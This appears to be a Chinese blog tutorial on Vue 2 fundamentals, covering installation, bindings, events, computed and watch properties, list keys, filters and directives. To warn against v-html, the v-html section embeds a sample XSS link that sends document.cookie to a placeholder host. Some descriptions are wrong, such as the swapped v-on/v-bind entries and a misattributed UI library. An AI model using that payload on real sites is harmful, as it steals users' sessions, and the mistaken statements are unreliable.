Vue 笔记 1 - Vue基础

Vue 笔记 1 - Vue基础

背景知识

Vue(读音/vju:/)是一套用于构建用户界面的渐进式框架,发布于2014年2月。Vue被设计为可以自底向上组成应用。

Vue的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。

Vue的一些常用第三方库

  • vue-router:路由
  • vue-resource: 通信
  • vuex: 管理

前端的一些常用工具

  • CSS预处理

    • SASS:基于Ruby,通过服务端处理,功能强大,解析效率高,需要学习Ruby语言,上手难度稍高。
    • LESS:基于NodeJS,通过客户端处理,使用简单,功能比SASS简单,解析效率也稍低。
  • JavaScript框架

    • jQuery: 优点是简化DOM操作,缺点是DOM操作太频繁,影响前端性能,在前端眼里使用它仅仅是为了兼容IE6-8
    • Angular: Google收购的前端框架,由一群Java程序员开发,特点是将后台MVC的开发模式搬到了前端并增加了模块化开发的理念,采用TypeScript语法,对前端开发人员不太友好。
    • React: FaceBook出品,一款高性能的JS前端框架,特点是提出了新概念【虚拟DOM】,在内存中模拟DOM并进行Diff算法,用于减少DOM操作,有效提高了渲染效率;缺点是使用复杂,需要额外学习一门【JSX】语言
    • Vue: 一款渐进式JavaScript框架,综合了Angular和React的优点。
    • Axios:前端通信框架,用来处理异步通信。
  • UI框架

    • Ant-Design:阿里巴巴出品,基于React的UI框架
    • Element-UI:饿了么出品,基于Vue的UI组件库,组件齐全,基本涵盖了后端所需要的所有组件,文档详细案例丰富,主要用于PC端,是一个质量较高的组件库。前端主流框架,选型时可以考虑,主要特点是PC端支持较多。
    • iview:饿了么出品,基于Vue的UI框架,有很多实用的基础组件,比ElementUI更丰富,主要服务于PC界面的中后台产品,使用单文件的Vue组件化开发模式,
      基于npm+webpack+babel开发,属于前端主流框架,选型时可以考虑使用,主要特点是移动端支持较多。
    • ice:饿了么出品,基于Vue的UI框架,是阿里巴巴团队基于Angular/React/Vue的中后台解决方案,在阿里巴巴内部已经有270多个来自几乎所有BU的项目在使用,飞冰包含了一条从设计到开发的完整链路,帮助用户快速搭建自己的中后台应用。
    • Bootstrap:Twitter推出的一个用于前端开发的开源包
    • AmazeUI:妹子UI,一款HTML5跨屏前端框架。
    • LayUI:
  • 构建工具

    • Babel: JS编译工具,主要用于浏览器不支持的新特性,比如用于编译TypeScript
    • WebPack:模块打包器,主要作用是打包、压缩、合并以及按序加载
    • Gulp:自动化任务执行工具
  • 三端统一
    混合开发(Hybrid App)

    主要目的是实现一套代码三端共用(PC、Android:.apk、iOS:.ipa)并能够掉用到设备底层硬件,比如传感器、GPS、摄像头等
    打包方式主要有以下两种

    • 云打包:HBuild -> HBuildX, DCloud出品; API Cloud
    • 本地打包:Cordova(前身是PhoneGAP)

Vue安装

Vue官网: vuejs.org

可以使用以下几种方式来安装使用Vue

  1. 下载vue.js后直接放在项目工程中引用
    下载地址:https://cn.vuejs.org/v2/guide/installation.html

  2. 使用CDN
    开发环境

1
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>

生产环境

1
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14"></script>

使用原生ES Modules

1
2
3
<script type="module">
import Vue from 'https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.esm.browser.js'
</script>
  • 使用npm安装
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 安装vue
npm install vue

# 安装vue(全局)
npm install -g vue

# 安装Vue2.x的脚手架:vue-cli
npm install -g vue-cli

# 安装Vue3.x的脚手架:@vue/cli
npm install -g @vue/cli

# 升级@vue/cli
npm update -g @vue/cli

# 安装WebPack
npm install -g webpack

# 删除vue-cli
npm uninstall vue-cli -g

# 确认
vue --version
  • 使用Yarn安装
1
2
3
4
5
6
7
8
9
10
11
12
13
npm install vue

# 安装Vue3.x的脚手架:@vue/cli
yarn global add @vue/cli

#
yarn global upgrade --latest @vue/cli

# 删除Vue2.x版本的脚手架vue-cli
yarn global remove vue-cli

npm install -g vue-cli
npm install -g webpack

初识Vue

第一个Vue页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hello Vue</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h1>Hello, {{name}}</h1>
</div>
<script>
Vue.config.productionTip = false // 阻止 vue在启动时生成生产提示。

// 创建 Vue 实例
const vm = new Vue({
el:'#root', // el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data:{ // data用于存储数据
name: 'Vue'
}
});
</script>
</body>
</html>
  • 想让Vue工作,需要创建一个Vue实例,并且要传入一个配置对象;
  • root容器里的代码依然符合html规范;
  • root容器与Vue实例之间是一一对应的,一般真实开发中只有一个Vue实例,并且会配合着组件一起使用;
  • {{ }}中可以放置js表达式,比如{{1+1}}{{Date.now()}}
  • 一旦data中的数据发生改变,那么页面模版中用到该数据的地方也会自动更新。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<div id="root1">
<h1>Hello, {{name}}, {{age}}</h1>
</div>
<div id="root2">
<h1>Hello, {{name}}, {{address}}</h1>
</div>
<script>
Vue.config.productionTip = false // 阻止 vue在启动时生成生产提示。

// 创建 Vue 实例
const vm1 = new Vue({
el:'#root1', // el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data:{ // data用于存储数据
name: 'Vue',
age: 18
}
});
const vm2 = new Vue({
el:'#root2', // el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data:{ // data用于存储数据
name: 'GeekHall',
address: 'beijing'
}
});
</script>

输出结果

1
2
Hello, Vue, 18
Hello, GeekHall, beijing

Vue 开发者工具

上面的案例在执行的时候F12打开控制台会看到下面的一行提示内容

是因为我们没有安装Vue开发者工具

可以在VueDevTools官网https://devtools.vuejs.org/

或者GitHubhttps://github.com/vuejs/devtools

来下载安装

Chrome浏览器可以在Chrome 网上商店直接下载安装

使用:
可以直接在F12界面中找到Vue开发者工具的Tab页,在这里可以直接执行修改绑定数据等操作。

另外一个需要注意的是,如果使用file://的方式打开html的话开发者工具是不会生效的。

这里推荐使用VSCode的liveServer扩展,可以直接在vscode中使用http://127.0.0.1:5500来调试本地html。

Vue常用7个属性

学习Vue我们必须知道它的7个属性,8个方法,以及7个指令(787原则)

  • el属性:用来指示vue编译器从什么地方开始解析vue的语法,可以说是一个占位符;
  • data属性:用来组织从view中抽象出来的属性,可以说将视图的数据抽象出来存放到data中;
  • template属性:用来设置模板,会替换页面元素,包括占位符;
  • methods属性:放置页面中的业务逻辑,js方法一般都放置在methods中;
  • render属性:创建真正的Virtual DOM;
  • computed属性:用来计算;
  • watch属性:
    • watch:function(new, old)){}
    • 监听data中数据的变化
    • 两个参数,一个返回新值,一个返回旧值

Vue模版语法

  1. 插值语法(Interpolation)
1
2
3
4
5
6
7
8
9
10
11
12
<div id="root">
<h1>Hello, {{name}}</h1>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
name: 'Vue'
}
});
</script>
  1. 指令语法(v-bind)
    指令语法用于解析标签(包括:标签属性、标签体内容、绑定事件……)

v-bind会把引号中的内容当作js表达式来执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<div id="root">
<h1>指令语法:</h1>
<!--
这里会把引号内的url当作js表达式来执行,
并将执行结果https://geekhall.cn绑定给href属性。
-->
<a v-bind:href="url">极客堂</a>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
name: 'Vue',
url: 'https://geekhall.cn'
}
});
</script>

插值语法一般用在标签体内容,
指令语法一般用在标签属性内容,

  1. 双向数据绑定
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<div id="root">
<h1>单向数据绑定</h1>
<input type="text" v-bind:value="name1">
<hr/>
<h1>双向数据绑定</h1>
<input type="text" v-model:value="name2">
</div>
<script>
Vue.config.productionTip = false // 阻止 vue在启动时生成生产提示。

// 创建 Vue 实例
new Vue({
el:'#root',
data:{
name1: 'Vue',
name2: 'Vue'
}
});
</script>

注意v-model只能应用在表单类元素上。

v-bind:name可以简写成":name"

例如:v-bind:href="xxx" 可以简写为::href="xxx"

v-model:value可以简写成"v-model"

例如:v-model:value="xxx" 可以简写为:v-model="xxx"

另一种绑定元素的方法

除了使用el来绑定页面元素后,还可以使用mount来绑定元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

<div id="root">
<div>
<h1>Hello, {{name}}</h1>
</div>
</div>
<script>
Vue.config.productionTip = false // 阻止 vue在启动时生成生产提示。

// 创建 Vue 实例
const v = new Vue({
// el:'#root',
data:{
name: 'Vue'
}
});
v.$mount('#root');
</script>

data的另一种写法(函数式)

1
2
3
4
5
6
7
8
9
10
11
const vm = new Vue({
data: function(){
console.log('@@@@@:', this);
return{
name: "Vue"
}
}
});

v.$mount('#root');

注意这里的data函数不能写成箭头函数,否则函数内的this会指向Window,而不是Vue实例了。

  • 由Vue所管理的函数,一定不要使用箭头函数。

但是可以简写成下面的方式:

1
2
3
4
5
6
7
8
const vm = new Vue({
data(){
console.log('@@@@@:', this);
return{
name: "Vue"
}
}
});

MVVM模型

  • M:Model,data中的数据
  • V:View, 模版代码
  • VM: 视图模型,Vue实例

Tips

  • data中所有的属性,最后都出现在了vm身上
  • vm的所有的属性,及Vue原型上所有的属性,在Vue模版中都可以直接使用。

Getter和Setter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let number = 18;
let person = {
name: '赵四',
sex: 'Male'
}
Object.defineProperty(person, 'age', {
get: function (){
return number;
}
set(value) {
number = value;
}
}

console.log(person);

Setter使用的是_data

一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;

数据代理

通过一个对象代理对另一个对象中属性的操作
将data中的属性通过Object.defineProperty来绑定_data,从而方便的操作data中的属性。
_data中做了数据劫持(响应式的原理)

v-on事件处理

  • 使用v-on:xxx 或者@xxx来绑定事件,其中xxx为事件名;

  • 事件的回调函数需要配置在methods对象中,最终会在vm上;

  • methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或者组件实例对象;

  • methods中配置的函数,不要使用箭头函数,否则this就不是vm了;

  • @click=”demo” 和 @click=”demo($event)” 效果一般,但后者可以传参;(实际测试即使不使用$event,在函数中也还是可以取得event的。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<!-- <button v-on:click="showInfo">点我弹出提示信息</button> -->
<!-- 简写形式 -->
<button @click="showInfo1">点我弹出提示信息1</button>
<!-- 传递参数 -->
<button @click="showInfo2(666)">点我弹出提示信息2</button>
<!-- 传递参数 -->
<button @click="showInfo3($event,666)">点我弹出提示信息3</button>
</div>

<script>
Vue.config.productionTip = false // 阻止 vue在启动时生成生产提示。
let vm = new Vue({
el: '#root',
data: {
name: '极客堂'
},
methods: {
showInfo1(event){
console.log(event.target.innerText); // 点我弹出提示信息
console.log(this === vm); // true, 此处的this是vm
alert("你好,欢迎你");
},
showInfo2(number){
console.log(number); // 666
console.log(event.target.innerText); // 点我弹出提示信息2
console.log(this === vm); // true, 此处的this是vm
// alert("你好,欢迎你!!!");
},
showInfo3(number){
console.log(number); // 666
console.log(event.target.innerText); // 点我弹出提示信息3
console.log(this === vm); // true, 此处的this是vm
// alert("你好,欢迎你!!!");
}
}
});
</script>

修饰符

Vue中的事件修饰符:

  1. prevent:阻止默认行为(常用);
  2. stop:阻止事件冒泡(常用);
  3. once:事件只触发一次(常用);
  4. capture:使用事件的捕获模式;
  5. self:只有event.target是当前操作的元素时才触发事件;
  6. passive:事件的默认行为立即执行,无需等待事件的回调执行完毕;

例如,下面的@click.prevent就等价于e.preventDefault();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<div id="root">
<h2>欢迎来到{{name}}</h2>
<a href="https://geekhall.cn" @click.prevent="showInfo">点我提示信息</a>
</div>

<script>
Vue.config.productionTip = false // 阻止 vue在启动时生成生产提示。
let vm = new Vue({
el: '#root',
data: {
name: '极客堂'
},
methods: {
showInfo(e){
// e.preventDefault(); // 阻止默认行为
alert("test");
}
}
});
</script>


使用@click.stop:阻止事件冒泡;

1
2
3
<div class="demo1" @click="showInfo" style="background-color:skyblue; padding:1rem">
<button @click.stop="showInfo">点我提示信息</button>
</div>

键盘事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div id="root">
<h2>欢迎来到{{name}}</h2>
<input type="text" placeholder="按下回车提示输入" @keyup="showInfo"/>
</div>

<script>
Vue.config.productionTip = false // 阻止 vue在启动时生成生产提示。
let vm = new Vue({
el: '#root',
data: {
name: '极客堂'
},
methods: {
showInfo(e){
if (e.keyCode == 13) // 只有当按下回车时才显示内容
console.log(e.target.value);
}
}
});
</script>

@click.prevent@click.stop;可以连着写成@click.prevent.stop;

Vue的写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<div id="root">
<h2>欢迎来到{{name}}</h2>
<input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo"/>
</div>

<script>
Vue.config.productionTip = false // 阻止 vue在启动时生成生产提示。
let vm = new Vue({
el: '#root',
data: {
name: '极客堂'
},
methods: {
showInfo(e){
console.log(e.target.value);
}
}
});
</script>

Vue中常见的按键别名:

  • 回车 enter
  • 删除 delete
  • 退出 esc
  • 空格 space
  • Tab tab
  • 上 up
  • 下 down
  • 左 left
  • 右 right

计算属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<div id="root">
<h2>使用计算属性实现姓名合并</h2>
姓:<input type="text" v-model="firstName"/><br/><br/>
名:<input type="text" v-model="lastName"/><br/><br/>
<!-- 全名: <span>{{fullName()}}</span> -->
全名: <span>{{computedFullName}}</span>
</div>

<script>
Vue.config.productionTip = false // 阻止 vue在启动时生成生产提示。
let vm = new Vue({
el: '#root',
data: {
firstName: '赵',
lastName: '四'
},
methods: {
fullName(){
return this.firstName + ' - ' + this.lastName;
}
},
computed: {

computedFullName:{
// Getter
// get什么时候调用:1.初次 2.计算属性所依赖的数据发生变化时
get(){
return this.firstName + ' = ' + this.lastName;
}
}
}
});
</script>

监视属性

监视属性watch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<div id="root">
<h2>监视属性</h2>
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>

<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
isHot: true
},
computed: {
info(){
return this.isHot ? "炎热" : "凉爽"
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
}
},
watch: {
isHot: {
immediate: true, // 初始化时让handler调用一下
// handler函数在isHot发生改变的时候调用。
handler(newValue, oldValue){
console.log('isHot被修改了', newValue, oldValue);
}
}
}
});
/*
// 监视属性的另一种写法:
vm.$watch('isHot', {
handler(){

}
})
*/
</script>

深度监视

可以使用deep: true来开启深度监视,监视对象中所有属性的变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
 <div id="root">
<h2>监视属性</h2>
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
<hr/>
<h3>a= {{numbers.a}}</h3>
<button @click="add">点我让a++</button>
<hr/>
<h3>numbers2.a= {{numbers1.a}}</h3>
<button @click="adda">点我让a++</button>
<h3>numbers2.b= {{numbers1.b}}</h3>
<button @click="addb">点我让b++</button>
</div>

<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
isHot: true,
numbers:{
a:1,
b:2
},
numbers1:{
a:1,
b:2
}
},
computed: {
info(){
return this.isHot ? "炎热" : "凉爽"
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
},
add(){
this.numbers.a++;
},
adda(){
this.numbers1.a++;
},
addb(){
this.numbers1.b++;
}
},
watch: {
isHot: {
immediate: true, // 初始化时让handler调用一下
// handler函数在isHot发生改变的时候调用。
handler(newVal, oldVal){
console.log('isHot被修改了', newVal, oldVal);
}
},
// 监视多级结构中某个属性的变化
'numbers.a':{
handler(){
console.log('a被改变了');
}
},
'numbers1':{
deep: true, // 深度监视,监视对象中所有属性的变化,当numbers2.a 或者numbers2.b发生改变时可以检测到。默认为false。
handler(){
console.log('numbers2被改变了')
}
}
}
});
</script>

监视的简写模式:

1
2
3
4
5
6
7
watch: {
isHot: {
handler(newVal, oldVal){
console.log('isHot被修改了', newVal, oldVal);
}
}
}

可以简写为下面的形式:

1
2
3
4
5
watch: {
isHot(newVal, oldVal){
console.log('isHot被修改了', newVal, oldVal);
}
}

watch与computed的对比

  • computed能够完成的功能,watch都能完成,
  • watch能完成的功能,computed不一定能完成,比如:watch可以加定时器开启异步任务,computed不能

两个重要的小原则:

  1. 所有被Vue管理的函数,最好写成普通函数,不要写成箭头函数,这样this的指向才是vm或者组件实例对象;
  2. 所有不被Vue管理的函数,(定时器的回调函数,ajax的回调函数等,Promise的回调函数),最好写成箭头函数,这样this的指向才是vm或者组件实例对象;
1
2
3
4
5
6
7
watch: {
firstName(val){
setTimeout(function(){
this.fullName = val + '-' + this.lastName;
}, 1000);
}
}

绑定class样式

使用:class来绑定IGclass样式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<div id="root">
<h2>绑定样式</h2>
<!-- 绑定变量的写法 ,适用于:样式的类名不确定,需要动态指定-->
<div class="basic" :class="bgcolor" @click="changeColor">{{name}}</div>
<hr>
<!-- 绑定样式数组写法,适用于要绑定的样式名字和个数都不确定的情况 -->
<div class="basic" :class="styles" @click="changeStyle">{{name}}</div>
<hr>
<!-- 绑定样式对象写法,适用于要绑定的样式个数确定,名字也确定的情况,但需要动态决定是否使用 -->
<div class="basic" :class="classObj">{{name}}</div>
<hr>
<div class="basic" :style="styleObj">{{name}}</div>
</div>

<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
name: "极客堂",
bgcolor: 'yellow',
styles: ['center', 'big', 'bold'],
classObj: {
big: true,
bold: false,
center: true,
},
styleObj: {
// 注意这里使用驼峰法命名,对应css中的font-size属性
fontSize: '80px',
color: 'red',
// 注意这里使用驼峰法命名,对应css中的background-color属性
backgroundColor: 'blue'
}
},
methods: {
changeColor(){
const arr = ['yellow', 'green', 'cyan']
let i = Math.floor(Math.random()*3);
this.mood = arr[i];
},
changeStyle(){
console.log("change style");
}
}
});
</script>

v-if

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<div id="root">
<h2>v-if</h2>
<p v-if="type==='A'">A</p>
<p v-else-if="type==='B'">B</p>
<p v-else-if="type==='C'">C</p>
<p v-else="type==='D'">D</p>
</div>

<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
type: "B"
}
});
</script>

v-for

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<div id="root">
<h2>v-for</h2>
<ul>
<li v-for="(book, index) in books">{{index}} : {{book.name}} - {{book.author}}</li>
</ul>
</div>

<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
books: [
{
name: '三国演义',
author: '罗贯中'
},
{
name: '红楼梦',
author: '曹雪芹'
},
{
name: '水浒传',
author: '施耐庵'
},
{
name: '西游记',
author: '吴承恩'
}]
}
});
</script>

template自定义组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<div id="root">
<h2>template</h2>

<!-- 组件: 传递给组件的值:props -->
<geekhall v-for="item in items" v-bind:geek="item">

</geekhall>
</div>

<script>
Vue.config.productionTip = false
Vue.component("geekhall", {
props: ['geek'],
template: '<li>{{geek}}</li>'
});

const vm = new Vue({
el: '#root',
data: {
items: ["Java", "Python", "Django", "Vue"]
}
});
</script>

关于Vue的key

当使用index作为key时,向数组的前部插入数据时会造成数据错乱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<div id="root">
<h2>key的原理</h2>
<button @click.once="add">添加一个老刘</button>
<ul>
<li v-for="(p, index) of persons" :key="index">
{{index}}. {{p.name}} - {{p.age}}
<input type="text">
</li>
</ul>
</div>

<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
persons: [{
id: '001',
name: '张三',
age: 18
},
{
id: '002',
name: '李四',
age: 19
},
{
id: '003',
name: '王五',
age: 20
}
]
},
methods: {
add() {
const p = {
id: '004',
name: '赵六',
age: 40
}
this.persons.unshift(p);
}
}
});
</script>

改成<li v-for="(p, index) of persons" :key="p.id"> 之后则没有这种问题。

Key的内部原理:

  1. 虚拟DOM中Key的作用:
    key是虚拟DOM对象的表示,当数据发生变化时,Vue会根据新数据生成新的虚拟DOM。
    随后Vue进行新的虚拟DOM与旧的虚拟DOM的差异及比较,比较规则如下:
  2. 比较规则:
    • 旧的虚拟DOM中找到了与新的虚拟DOM相同的Key时,若虚拟DOM没有发生任何变化,则使用之前的真实DOM,若虚拟DOM中内容发生了改变,则生成新的真实DOM,随后替换掉页面中之前的真实DOM
    • 旧的虚拟DOM中未找到与新的虚拟DOM相同的key,则创建新的真实DOM,随后渲染到页面;
  3. 用index作为Key,会引发的问题:
    • 若对数据进行逆序添加、逆序删除等破坏顺序的操作,会产生效率问题。
    • 若结构中还包含输入了累DOM,原数据顺序有变化的情况下,会存在数据错乱的问题;
  4. 开发中如何选择Key,
    • 最好使用每条数据的唯一标识作为key,比如id,手机号、身份证号、学号等。
    • 如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表用于展示,则使用index作为key是没有问题的。

Vue.set()方法

不包含在data中的数据可以通过Vue.set()方法来新增。

1
2
3
Vue.set(vm.student, 'sex', 'Female')
或者
vm.$set(vm.student, 'sex', 'Female')

Vue侦听数组

直接使用索引更新数组内容不会被Vue侦听到,
Vue将被侦听的数组的变更方法进行了包裹,所以它们也将会触发视图更新

  • push()
  • pop()
  • shift()
  • unshift()
  • splice()
  • sort()
  • reverse()

Vue.set()和vm.$set()也会被Vue侦听到

Vue侦听原理及实例

  1. Vue会监视data中所有层次的数据

  2. 通过Setter实现监视,并且要在new Vue时就传入要监视的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<div id="root">
<h2>Vue侦听实例</h2>
<button @click="student.age++">年龄+1岁</button><br/>
<button @click="addSex">添加性别属性,默认值:男</button><br/>
<button @click="student.sex='未知'">修改性别为未知</button><br/>
<button @click="addFriend">列表头添加一个朋友</button><br/>
<button @click="changeFriendName">修改第一个朋友的名字为张三</button><br/>
<button @click="addHobby">添加一个爱好</button><br/>
<button @click="updateHobby">修改第一个爱好为开车</button><br/>
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h, index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<h3>朋友们:</h3>
<ul>
<li v-for="(f, index) in student.friends" :key='index'>
{{f.name}} -- {{f.age}}
</li>
</ul>
</div>

<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
student: {
name: 'tom',
age: 18,
hobby: ['抽烟','喝酒','烫头'],
friends: [
{name: 'jerry', age: 35},
{name: 'tony', age: 34}
]
}
},
methods: {
addSex(){
Vue.set(this.student, 'sex', '男')
},
addFriend(){
this.student.friends.unshift({name:'张三', age:30})
},
changeFriendName(){
this.student.friends[0].name = '张三'
},
addHobby(){
this.student.hobby.unshift('学习')
},
updateHobby(){
// this.student.hobby.splice(0,1, '开车') // 方法1
// Vue.set(this.student.hobby, 0, '开车') // 方法2
this.$set(this.student.hobby, 0, '开车') // 方法3
}
}
})
</script>

v-model综合案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<div id="root">
<h2>v-model综合案例</h2>
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account" /><br /><br />
密码:<input type="password" v-model="userInfo.password" /><br /><br />
年龄:<input type="number" v-model.number="userInfo.age" /><br /><br />
性别:
<input type="radio" name="sex" value="male" v-model="userInfo.sex">
<input type="radio" name="sex" value="female" v-model="userInfo.sex"><br /><br />
爱好:
听歌<input type="checkbox" value="music" v-model="userInfo.hobby">
学习<input type="checkbox" value="study" v-model="userInfo.hobby">
看电影<input type="checkbox" value="movie" v-model="userInfo.hobby">
<br /><br />
学习语言:
<select v-model="userInfo.language">
<option value="">请选择语言</option>
<option value="c">C</option>
<option value="Java">Java</option>
<option value="python">Python</option>
</select><br><br>
其他信息:
<textarea v-model="userInfo.other" cols="30" rows="10"></textarea>
<br><br>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="https://geekhall.cn">《用户协议》</a>
<button>提交</button>
</form>
</div>

<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
userInfo: {
account: 'admin',
password: '123',
age: '',
sex: 'female',
hobby: ['study', 'movie'],
language: 'python',
other: '其他信息',
agree: true
}
},
methods: {
demo() {
console.log("submited ")
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>

过滤器

对要显示的数据进行特定格式化后再显示,适用于一些简单逻辑的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<div id="root">
<h2>过滤器</h2>
<h2>格式化之前的时间: {{time}}</h2><br>

<!-- 计算属性实现 -->
<h2>格式化之后的时间: {{formated_time}}</h2>
<!-- methods实现 -->
<h2>格式化之后的时间: {{getFmtTime()}}</h2>
<!-- 过滤器实现 -->
<h2>格式化之后的事件:{{time | timeformater}}</h2>
<h2>格式化之后的事件:{{time | time_formater('YYYY_MM_DD') | mySlice()}} </h2>
</div>

<div id="root2">
<h2>hello {{ msg | myGlobalSlice }}</h2>
</div>

<script>
Vue.config.productionTip = false
// 全局过滤器
Vue.filter('myGlobalSlice', function(value){
return value.slice(0, 4)
})
new Vue({
el: '#root',
data: {
time: Date.now()
},
methods:{
getFmtTime(){
return dayjs(Date.now()).format('YYYY-MM-DD hh:mm:ss')
}
},
computed: {
formated_time(){
return dayjs(Date.now()).format('YYYY-MM-DD hh:mm:ss')
}
},
// 局部过滤器
filters: {
timeformater(){
return dayjs(Date.now()).format('YYYY-MM-DD hh:mm:ss')
},
time_formater(value, format='YYYY-MM-DD hh:mm:ss'){
return dayjs(value).format(format)
},
mySlice(value){
return value.slice(0, 4)
}
}
})
new Vue({
el: '#root2',
data: {
msg: 'geekhall'
}
})

</script>

内置指令

  • v-on : 单项绑定解析表达式,可简写为 :xxx
  • v-bind : 双向数据绑定
  • v-for : 遍历数组、对象、字符串
  • v-on : 绑定事件监听,可简写为 @
  • v-if : 条件渲染(动态控制节点是否存在)
  • v-else : 条件渲染(动态控制节点是否存在)
  • v-show : 条件渲染(动态控制节点是否展示)
  • v-text :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<div id="root">
<h2>v-html</h2>
<!-- 插值语法 更灵活 -->
<div>你好,{{name}}</div>
<!-- v-text会替换掉节点中的内容,插值语法不会 -->
<div v-text="name">这里的内容不会显示</div>
<div v-text="text"></div>
<div v-html="html"></div>
</div>


<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '极客堂',
text: '<h3>这里的标签会被显示</h3>',
html: '<h3>这里的标签会被解析</h3>'
}
})
</script>
  • v-html : 向指定节点中渲染包含HTML结构的内容。
    • v-html会替换掉节点中所有的内容,则不会
    • v-html可以识别html结构
    • 需要严重注意的是:v-html存在安全性问题!!
    • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
    • 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<div id="root">
<h2>v-html</h2>
<!-- 插值语法 更灵活 -->
<div>你好,{{name}}</div>
<!-- v-text会替换掉节点中的内容,插值语法不会 -->
<div v-text="name">这里的内容不会显示</div>
<div v-text="text"></div>
<div v-html="html"></div>
<!-- 安全问题 -->
<div v-html="str"></div>
</div>


<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '极客堂',
text: '<h3>这里的标签会被显示</h3>',
html: '<h3>这里的标签会被解析</h3>',
str: '<a href=javascript:location.href="https://xxxx.cn?+document.cookie">大量免费资源!点我领取~!</a>',
}
})
</script>
  • v-cloak:
    防止因为网速问题延迟加载时而导致页面闪现的问题。
1
2
